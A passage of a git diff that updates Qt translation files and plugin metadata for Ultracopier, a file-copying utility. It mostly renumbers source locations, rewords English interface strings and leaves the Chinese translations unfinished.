- <location filename="../../../SystrayIcon.cpp" line="150"/>
- <source>Catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="210"/>
+ <source>Replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
- <source>Action on the systray icon is unknown!</source>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
+ <source>The action on the systray icon is unknown!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="356"/>
+ <location filename="../../../SystrayIcon.cpp" line="425"/>
<source>&amp;About/Debug report</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="358"/>
+ <location filename="../../../SystrayIcon.cpp" line="427"/>
<source>&amp;About</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="360"/>
+ <location filename="../../../SystrayIcon.cpp" line="430"/>
+ <source>&amp;Save bug report</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="432"/>
<source>&amp;Quit</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="361"/>
+ <location filename="../../../SystrayIcon.cpp" line="433"/>
<source>&amp;Options</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="362"/>
+ <location filename="../../../SystrayIcon.cpp" line="485"/>
<source>A&amp;dd copy/moving</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="407"/>
- <location filename="../../../SystrayIcon.cpp" line="429"/>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>New version: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>Click here to go on download page</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="511"/>
+ <source>&amp;Copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="525"/>
+ <location filename="../../../SystrayIcon.cpp" line="539"/>
+ <source>&amp;Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="529"/>
+ <location filename="../../../SystrayIcon.cpp" line="543"/>
+ <source>&amp;Move</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="560"/>
+ <location filename="../../../SystrayIcon.cpp" line="577"/>
<source>Add &amp;copy</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="413"/>
- <location filename="../../../SystrayIcon.cpp" line="435"/>
+ <location filename="../../../SystrayIcon.cpp" line="566"/>
+ <location filename="../../../SystrayIcon.cpp" line="583"/>
<source>Add &amp;transfer</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="417"/>
- <location filename="../../../SystrayIcon.cpp" line="439"/>
+ <location filename="../../../SystrayIcon.cpp" line="570"/>
+ <location filename="../../../SystrayIcon.cpp" line="587"/>
<source>Add &amp;move</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins/Languages/zh/flag.png b/plugins/Languages/zh/flag.png
index 3c539df..928b698 100644
--- a/plugins/Languages/zh/flag.png
+++ b/plugins/Languages/zh/flag.png
Binary files differ
diff --git a/plugins/Languages/zh/informations.xml b/plugins/Languages/zh/informations.xml
index 63fef38..151e854 100644
--- a/plugins/Languages/zh/informations.xml
+++ b/plugins/Languages/zh/informations.xml
@@ -10,14 +10,13 @@
<!-- the date-time format should be in timestamps format -->
<pubDate>1287496800</pubDate>
<!-- Detailed description -->
- <description xml:lang="en"><![CDATA[Translation of Ultracopier to chinese. Done for version 0.3.0.0. For more details see the web site.]]></description>
+ <description xml:lang="en"><![CDATA[Translation of Ultracopier to chinese. For more details see the web site.]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.0.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>ch</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- <=ultracopier-0.3
]]></dependencies>
<!-- Additional information that is specific to the category (in this case Language). -->
<categorySpecific>
diff --git a/plugins/Languages/zh/translation.ts b/plugins/Languages/zh/translation.ts
index 4d63b67..8a6d55f 100644
--- a/plugins/Languages/zh/translation.ts
+++ b/plugins/Languages/zh/translation.ts
@@ -4,77 +4,83 @@
<context>
<name>CliParser</name>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
- <location filename="../../../CliParser.cpp" line="63"/>
- <location filename="../../../CliParser.cpp" line="73"/>
- <location filename="../../../CliParser.cpp" line="83"/>
- <location filename="../../../CliParser.cpp" line="166"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <location filename="../../../CliParser.cpp" line="179"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
<source>Ultracopier is already running, right click on its system tray icon (near the clock) to use it</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="63"/>
- <source>Problem at the reading, or file size is null</source>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <source>Problem reading file, or file size is 0</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="73"/>
- <source>This file is not supported transfer list</source>
+ <location filename="../../../CliParser.cpp" line="159"/>
+ <location filename="../../../CliParser.cpp" line="170"/>
+ <source>The arguments possible are:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="83"/>
- <source>Unable to open the transfer list file</source>
+ <location filename="../../../CliParser.cpp" line="161"/>
+ <location filename="../../../CliParser.cpp" line="172"/>
+ <source>To display the options</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="148"/>
- <location filename="../../../CliParser.cpp" line="158"/>
- <source>The arguments possibles are:</source>
+ <location filename="../../../CliParser.cpp" line="162"/>
+ <location filename="../../../CliParser.cpp" line="173"/>
+ <source>To quit the other instances (if running)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="149"/>
- <location filename="../../../CliParser.cpp" line="159"/>
- <source>To have this help</source>
+ <location filename="../../../CliParser.cpp" line="164"/>
+ <location filename="../../../CliParser.cpp" line="175"/>
+ <source>To copy sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="150"/>
- <location filename="../../../CliParser.cpp" line="160"/>
- <source>To quit the other instance running (if have)</source>
+ <location filename="../../../CliParser.cpp" line="165"/>
+ <location filename="../../../CliParser.cpp" line="176"/>
+ <source>To move sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="151"/>
- <location filename="../../../CliParser.cpp" line="161"/>
- <source>To pass transfer list to do</source>
+ <location filename="../../../CliParser.cpp" line="169"/>
+ <source>Command not valid</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="152"/>
- <location filename="../../../CliParser.cpp" line="162"/>
- <source>To copy sources separated by space to destination. If destination is &quot;?&quot;, ultracopier will ask it to the user</source>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <source>This file is not supported transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="153"/>
- <location filename="../../../CliParser.cpp" line="163"/>
- <source>Same as above, but with move</source>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <source>Unable to open the transfer list file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="157"/>
- <source>Command line not understand</source>
+ <location filename="../../../CliParser.cpp" line="160"/>
+ <location filename="../../../CliParser.cpp" line="171"/>
+ <source>To display this help</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="168"/>
+ <location filename="../../../CliParser.cpp" line="163"/>
+ <location filename="../../../CliParser.cpp" line="174"/>
+ <source>Open transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="181"/>
<source>Help</source>
<translation type="unfinished"></translation>
</message>
@@ -82,410 +88,493 @@
<context>
<name>CopyEngineManager</name>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <source>Cannot find any copy engine with motions support</source>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <source>Cannot find any copy engine with move support</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <source>Cannot find any compatible engine!</source>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <source>This copy engine does not support move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <source>This copy engine does not support motions</source>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <source>Cannot find any compatible engine!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Cannot find any engine with this name: %1</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
+ <name>CopyListener</name>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error during the reception of the copy/move list
+%1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
<name>Core</name>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="116"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
- <location filename="../../../Core.cpp" line="234"/>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
<source>Unable to get a copy engine instance</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="234"/>
- <source>The argument for the mode is not understand</source>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Group window</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Do you want group the transfer with another actual running transfer?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
+ <location filename="../../../Core.cpp" line="116"/>
+ <source>Unable to get a engine instance</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="216"/>
+ <source>The argument for the mode is not valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="1133"/>
+ <source>Do you want to copy? If no, it will be moved.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
<source>Unable to load the interface, copy aborted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Unable to load the copy engine, copy aborted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
+ <location filename="../../../Core.cpp" line="1133"/>
<source>Transfer mode</source>
<translation type="unfinished"></translation>
</message>
+</context>
+<context>
+ <name>EventDispatcher</name>
+ <message>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Key</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
- <source>Do you want do as a copy? Else if you reply no, it will be moved.</source>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Give the key of this software, more information on &lt;a href=&quot;http://ultracopier.first-world.info/&quot;&gt;ultracopier.first-world.info&lt;/a&gt;</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
<name>FacilityEngine</name>
<message>
- <location filename="../../../FacilityEngine.cpp" line="40"/>
+ <location filename="../../../FacilityEngine.cpp" line="43"/>
<source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="41"/>
+ <location filename="../../../FacilityEngine.cpp" line="45"/>
<source>Copy</source>
+ <extracomment>a copy</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="42"/>
+ <location filename="../../../FacilityEngine.cpp" line="49"/>
<source>Move</source>
+ <extracomment>a move</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="43"/>
+ <location filename="../../../FacilityEngine.cpp" line="51"/>
<source>Pause</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="44"/>
+ <location filename="../../../FacilityEngine.cpp" line="52"/>
<source>Resume</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="45"/>
- <location filename="../../../FacilityEngine.cpp" line="59"/>
+ <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="67"/>
<source>Skip</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="46"/>
+ <location filename="../../../FacilityEngine.cpp" line="54"/>
<source>Unlimited</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="24"/>
+ <location filename="../../../FacilityEngine.cpp" line="27"/>
<source>s</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="25"/>
+ <location filename="../../../FacilityEngine.cpp" line="28"/>
<source>Too big</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="26"/>
+ <location filename="../../../FacilityEngine.cpp" line="29"/>
<source>B</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="27"/>
+ <location filename="../../../FacilityEngine.cpp" line="30"/>
<source>KB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="28"/>
+ <location filename="../../../FacilityEngine.cpp" line="31"/>
<source>MB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="29"/>
+ <location filename="../../../FacilityEngine.cpp" line="32"/>
<source>GB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="30"/>
+ <location filename="../../../FacilityEngine.cpp" line="33"/>
<source>TB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="31"/>
+ <location filename="../../../FacilityEngine.cpp" line="34"/>
<source>PB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="32"/>
+ <location filename="../../../FacilityEngine.cpp" line="35"/>
<source>EB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="33"/>
+ <location filename="../../../FacilityEngine.cpp" line="36"/>
<source>ZB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="34"/>
+ <location filename="../../../FacilityEngine.cpp" line="37"/>
<source>YB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="35"/>
+ <location filename="../../../FacilityEngine.cpp" line="38"/>
<source>Less than %10 seconds</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="36"/>
+ <location filename="../../../FacilityEngine.cpp" line="39"/>
<source>About %10 seconds remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="37"/>
+ <location filename="../../../FacilityEngine.cpp" line="40"/>
<source>About %1 minutes remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="38"/>
+ <location filename="../../../FacilityEngine.cpp" line="41"/>
<source>About %1 hours remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../FacilityEngine.cpp" line="47"/>
+ <source>Transfer</source>
+ <extracomment>a transfer</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <source>Start</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="55"/>
<source>Source</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="48"/>
+ <location filename="../../../FacilityEngine.cpp" line="56"/>
<source>Size</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="49"/>
+ <location filename="../../../FacilityEngine.cpp" line="57"/>
<source>Destination</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <location filename="../../../FacilityEngine.cpp" line="58"/>
<source>Quit</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="51"/>
+ <location filename="../../../FacilityEngine.cpp" line="59"/>
<source>Target</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="52"/>
- <location filename="../../../FacilityEngine.cpp" line="56"/>
+ <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="64"/>
<source>Time remaining:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="61"/>
<source>Listing</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="54"/>
+ <location filename="../../../FacilityEngine.cpp" line="62"/>
<source>Copying</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="55"/>
+ <location filename="../../../FacilityEngine.cpp" line="63"/>
<source>Listing and copying</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="58"/>
+ <location filename="../../../FacilityEngine.cpp" line="66"/>
<source>Ask</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="68"/>
<source>Overwrite</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="61"/>
+ <location filename="../../../FacilityEngine.cpp" line="69"/>
<source>Overwrite if newer</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="62"/>
+ <location filename="../../../FacilityEngine.cpp" line="70"/>
<source>Overwrite if the last modification dates are different</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="63"/>
+ <location filename="../../../FacilityEngine.cpp" line="71"/>
<source>Rename</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="64"/>
- <source>Put to end of the list</source>
+ <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <source>Put to the end of the list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="65"/>
+ <location filename="../../../FacilityEngine.cpp" line="73"/>
<source>Select source directory</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="66"/>
+ <location filename="../../../FacilityEngine.cpp" line="74"/>
<source>Select destination directory</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="67"/>
+ <location filename="../../../FacilityEngine.cpp" line="75"/>
<source>Internal error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="68"/>
+ <location filename="../../../FacilityEngine.cpp" line="76"/>
<source>Select one or more files to open</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="69"/>
+ <location filename="../../../FacilityEngine.cpp" line="77"/>
<source>All files</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="70"/>
+ <location filename="../../../FacilityEngine.cpp" line="78"/>
<source>Save transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="71"/>
+ <location filename="../../../FacilityEngine.cpp" line="79"/>
<source>Open transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <location filename="../../../FacilityEngine.cpp" line="80"/>
<source>Transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="73"/>
+ <location filename="../../../FacilityEngine.cpp" line="81"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="74"/>
+ <location filename="../../../FacilityEngine.cpp" line="82"/>
<source>Not supported on this platform</source>
<translation type="unfinished"></translation>
</message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="83"/>
+ <source>Completed in %1</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>HelpDialog</name>
<message>
- <location filename="../../../HelpDialog.ui" line="20"/>
- <source>About ultracopier</source>
+ <location filename="../../../HelpDialog.cpp" line="37"/>
+ <source>About Ultracopier</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="70"/>
- <source>Based on Qt. It provide advanced copier with more advanced feature. It&apos;s under GPL3.
+ <location filename="../../../HelpDialog.ui" line="67"/>
+ <source>Based on Qt. Advanced utility to copy files under GPL3 license.
This version is compiled as version: %1.</source>
<extracomment>%1 will be replaced by a variable content (normal, debug, ...)</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="78"/>
+ <location filename="../../../HelpDialog.ui" line="75"/>
<source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;For more information see the website &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
<extracomment>%1 will be remplaced by the website into the corresponding languages</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="88"/>
+ <location filename="../../../HelpDialog.ui" line="85"/>
<source>Platform: %1</source>
<extracomment>%1 will be replaced by the platform (windows, mac, linux, ...)</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="149"/>
+ <location filename="../../../HelpDialog.ui" line="121"/>
<source>About Qt</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="169"/>
+ <location filename="../../../HelpDialog.ui" line="141"/>
<source>Do a crash</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="176"/>
+ <location filename="../../../HelpDialog.ui" line="148"/>
<source>Save bug report</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="183"/>
+ <location filename="../../../HelpDialog.ui" line="155"/>
<source>Close</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="74"/>
+ <location filename="../../../HelpDialog.cpp" line="35"/>
+ <source>About Supercopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="80"/>
<source>For http://portableapps.com/</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="76"/>
+ <location filename="../../../HelpDialog.cpp" line="83"/>
+ <source>Portable and all in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="85"/>
<source>Portable version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="79"/>
+ <location filename="../../../HelpDialog.cpp" line="90"/>
+ <source>All in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="92"/>
<source>Normal version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="85"/>
+ <location filename="../../../HelpDialog.cpp" line="110"/>
+ <location filename="../../../HelpDialog.cpp" line="112"/>
+ <location filename="../../../HelpDialog.cpp" line="123"/>
<source>http://ultracopier.first-world.info/</source>
- <extracomment>This site need be the official site of ultracopier, into the right languages, english if not exists</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="120"/>
+ <source>http://ultracopier.first-world.info/shop.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="125"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
<name>LocalListener</name>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Timeout while recomposing data from connected clients</source>
<translation type="unfinished"></translation>
</message>
@@ -493,21 +582,74 @@ This version is compiled as version: %1.</source>
<context>
<name>LogThread</name>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
<source>Log file already open, error: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
- <source>Unable to open file to keep the log file, error: %1</source>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
+ <source>Unable to open the log file, error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>OSSpecific</name>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="26"/>
+ <source>Warning</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
